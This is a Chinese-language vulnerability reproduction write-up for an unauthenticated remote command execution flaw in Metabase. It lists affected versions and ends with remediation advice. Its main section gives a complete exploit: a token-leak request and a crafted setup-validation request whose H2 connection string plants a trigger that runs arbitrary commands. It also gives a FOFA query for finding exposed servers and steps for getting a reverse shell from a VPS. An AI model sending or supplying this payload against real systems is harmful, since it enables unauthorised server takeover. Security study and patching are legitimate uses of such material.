0x01 产品简介
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
0x02 漏洞概述
未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令。
值得注意的是,修复后的版本也需要在完成安装后才可修复漏洞,否则依旧存在被攻击者利用的可能性。
0x03 影响范围
Metabase open source 0.46 < 0.46.6.1
Metabase Enterprise 1.46 < 1.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase open source 0.43 < 0.43.7.2
Metabase Enterprise 1.43 < 1.43.7.2
0x04 复现环境
FOFA:app="Metabase"
0x05 漏洞复现
exp
POST /api/setup/validate HTTP/1.1
Host: your-ip
Content-Type: application/json
{
"token": "token值",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('执行的命令')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "test",
"engine": "h2"
}
}
PS:该手法只是针对H2数据库的深入利用
获取有效token
GET /api/session/properties HTTP/1.1
Host: your-ip
DNSlog验证
反弹shell
PS:直接反弹不了的环境,可尝试以下手法
编写个反弹shell脚本
python搭建http服务器,让目标下载脚本
可以看到,成功下载
VPS开启监听,执行脚本
成功反弹
0x06 修复建议
临时缓解方案
通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
升级修复方案
官方已经推出了新的修复版本。建议所有受影响的用户尽快访问官方网站,更新至相应的安全版本。
对于开源版本的用户,由于官方还未发布修复的源代码,可以直接从 release 页面下载预打包的 jar 文件进行使用
对于使用 Docker 版本的用户,只需拉取最新版本的镜像进行更新。然而在开始升级前,务必确保已经对数据进行了备份。
另外不论使用什么修复版本,都需要确保应用完成安装过程可正常登录使用才可修复漏洞。同时作为安全建议,应该及时下线一些不使用的服务。